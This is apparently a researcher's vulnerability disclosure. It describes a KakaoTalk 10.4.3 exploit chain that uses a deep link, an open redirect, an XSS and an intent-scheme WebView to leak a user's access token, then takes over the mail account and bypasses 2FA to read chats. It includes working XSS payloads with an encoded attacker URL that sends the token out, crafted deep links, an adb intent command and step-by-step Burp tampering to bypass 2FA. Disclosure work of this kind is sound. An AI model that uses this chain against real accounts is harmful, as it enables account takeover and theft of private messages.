In KakaoTalk `10.4.3` there are a couple of low-hanging fruit vulnerabilities which when combined allow an attacker to steal another user's chat messages.
- It has JavaScript enabled (`settings.setJavaScriptEnabled(true);`)
- It supports the `intent://` [scheme](https://www.mbsd.jp/Whitepaper/IntentScheme.pdf) to send data to other (non-exported) app components via JavaScript. For example, the URI `"intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=https://foo.bar;end"` loads the website `https://foo.bar` in the `MyProfileSettingsActivity` WebView.
- There's no sanitization of `intent://` URIs (e.g., the `Component` or `Selector` is **not** set to `null`). So, potentially any app component can be accessed.
This means that if we find a way to run our own JavaScript inside the `CommerceBuyActivity` we would have the ability to start arbitrary (non-exported) app components when the user clicks on a malicious `kakaotalk://buy` deep link.
If you take a look at the code you'll recognize that we control the path, query parameters and fragment of the URL. However, everything is prefixed with the String `m36725d` which is `https://buy.kakao.com` in our case. That means if a user clicks on the deep link `kakaotalk://buy/foo` the URL `https://buy.kakao.com/foo` gets loaded in the `CommerceBuyActivity` WebView.
While digging into https://buy.kakao.com we identified the endpoint https://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl= which allowed to redirect to any `kakao.com` domain. This vastly increased our chances to find a XSS flaw as there are many many subdomains under `kakao.com`.
To find a vulnerable website we just googled for `site:*.kakao.com inurl:search -site:developers.kakao.com -site:devtalk.kakao.com` and found https://m.shoppinghow.kakao.com/m/search/q/yyqw6t29. The string `yyqw6t29` looked like a [DOM Invader canary](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/settings/canary) to us, so we investigated further.
Funny enough, there was already a Stored XSS as https://m.shoppinghow.kakao.com/m/search/q/alert(1) popped up an alert box. Searching the DOM brought up the responsible Stored XSS payload `[해외]test "><svg/onload=alert(1);// Pullover Hoodie`. **Edit:** As of December 2023 this seems to be fixed.
Continuing to browse the DOM we discovered another [endpoint](https://m.shoppinghow.kakao.com/m/product/Y25001977964/q:foo) where the search query was passed to a `innerHTML` sink (see [DOM Invader notes](#dom-xss)). Eventually, the PoC XSS payload turned out to be as simple as `"><img src=x onerror=alert(1);>`.
At this point we could run arbitrary JavaScript in the `CommerceBuyActivity` WebView when the user clicked on a deep link such as `kakaotalk://auth/0/cleanFrontRedirect?returnUrl=https://m.shoppinghow.kakao.com/m/product/Y25001977964/q:"><img src=x onerror=alert(1);>`.
This included `javascript://` and `data://` schemes which allow to run JavaScript. Also, it supported `content://` URLs, so a URL such as `content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json` opens KakaoTalk's Firebase Installation configuration in the `MyProfileSettingsActivity` WebView.
Last but not least, it leaked an access token in the `Authorization` HTTP header. For example, a command such as `adb shell am start "intent:#Intent\;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity\;S.EXTRA_URL=https://foo.bar\;end"` would send the token to `https://foo.bar`.
What could we do with this token? Maybe taking over a victim's KakaoTalk account?
## Deep Link to Kakao Mail Account Takeover
As explained in the previous section the `MyProfileSettingsActivity` is not exported, but we could start it via `CommerceBuyActivity` with the trick explained above. By crafting a malicious deep link we could send the access token to an attacker-controlled server:
-`/auth/0/cleanFrontRedirect?returnUrl=` "compiles" to `https://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl=` and redirects to any `kakao.com` domain
-`"><img src=x onerror="document.location=atob('aHR0cDovLzE5Mi4xNjguMTc4LjIwOjU1NTUvZm9vLmh0bWw=');">` is the XSS payload. We had to Base64 encode the "attacker URL" to bypass some sanitization checks.
Now, in possession of the access token what could we do with it? Well, what about using it to take over the victim's Kakao Mail account that was used for KakaoTalk registration!
> **_NOTE:_** If the victim doesn't have a Kakao Mail account it's possible to create a new Kakao Mail account on her/his behalf. This is interesting because creating a new Kakao Mail account overwrites the user's previous registered email-address with no additional checks. Scroll to the end of this section to check out how to do that.
As pointed out above we could also create a new Kakao Mail account on the user's behalf. Just repeat the same steps with Burp using the following HTTP request (adapt the `Authorization` header):
Since we could now access the victim's Kakao Mail account a password reset was the next logical step. The only additional information required were the victim's email address, nickname and phone number which we got with the same curl query that we used above:
Changing the password via `https://accounts.kakao.com` turned out to be a bit complicated as we had to bypass 2FA via SMS. However, it was as simple as intercepting and modifying a couple of requests with Burp. This is how you can do it:
1. Using the Burp browser visit the [Reset Password](https://accounts.kakao.com/weblogin/find_password?lang=en&continue=%2Flogin%3Fcontinue%3Dhttps%253A%252F%252Faccounts.kakao.com%252Fweblogin%252Faccount%252Finfo) link.
2. Add the victim's email address on the next page (`Reset password for your Kakao Account`). Before clicking on `Next`, enable the `Intercept` feature in Burp.
3. In Burp, forward all requests until you see a POST request to `/kakao_accounts/check_verify_type_for_find_password.json`. Right-click and select `Do intercept > Response to this request`.
4. In the response change `verify_types` to `0` (this sends the verification code to the victim's email address and not to her/his phone):
```json
{
"status": 0,
"verify_types": [
0
],
"suspended": false,
"dormant": false,
"kakaotalk": false,
"expired": false,
"created_at": 1700754321,
"two_step_verification": false,
"is_fill_in_email": false,
"account_type": 0,
"display_id": null
}
```
5. Disable `Intercept` in Burp and go back to Burp's browser. Click on `Using email address`.
6. Enter the victim's nickname and email address on the next page and click the `Verify` button.
7. Open a new browser tab and paste the Burp Repeater URL to access the user's Kakao Mail account (as described in the [previous](#deep-link-to-kakao-mail-account-takeover) section). If there's a message "session expired" just clear the browser's cache.
8. Grab the verification code from the email and enter it to proceed to the next page.
9. On the page `Additional user verification will proceed to protect your Kakao Account.`, enable `Intercept` in Burp again, enter some values and click `Confirm`. Back in Burp when you see a POST request to `/kakao_accounts/check_phone_number.json`, adjust the `iso_code` and `phone_number` (without country code) parameters in the request body. Forward the request and disable the `Intercept` option again.
The goal of the PoC is to register [KakaoTalk for Windows/MacOS](https://www.kakaocorp.com/page/service/service/KakaoTalk?lang=en) or the open-source client [KiwiTalk](https://github.com/KiwiTalk/KiwiTalk) to a victim's account to read her/his **non-end-to-end** encrypted chat messages.
Next, the attacker sends a URL (e.g., `http://192.168.178.20:8888/foo.html`) and waits until the victim clicks it. The access token should be then leaked in the Netcat listener:
When logging into KakaoTalk for Windows/MacOS or KiwiTalk with the victim's credentials a second authentication factor is required. It's a simple 4-digit pin which is either displayed in the PC version and needs to be entered in the KakaoTalk mobile app or the other way around (i.e., pin is sent to mobile app and needs to be entered in PC app).
Unfortunately, the pin can't be brute-forced as there's some rate limiting going on at the endpoints https://talk-pilsner.kakao.com/talk-public/account/passcodeLogin/authorize and https://katalk.kakao.com/win32/account/register_device.json (blocked after 5 attempts).
Luckily, we can still use the gathered access token to post/get the pin number to/from the KakaoTalk backend: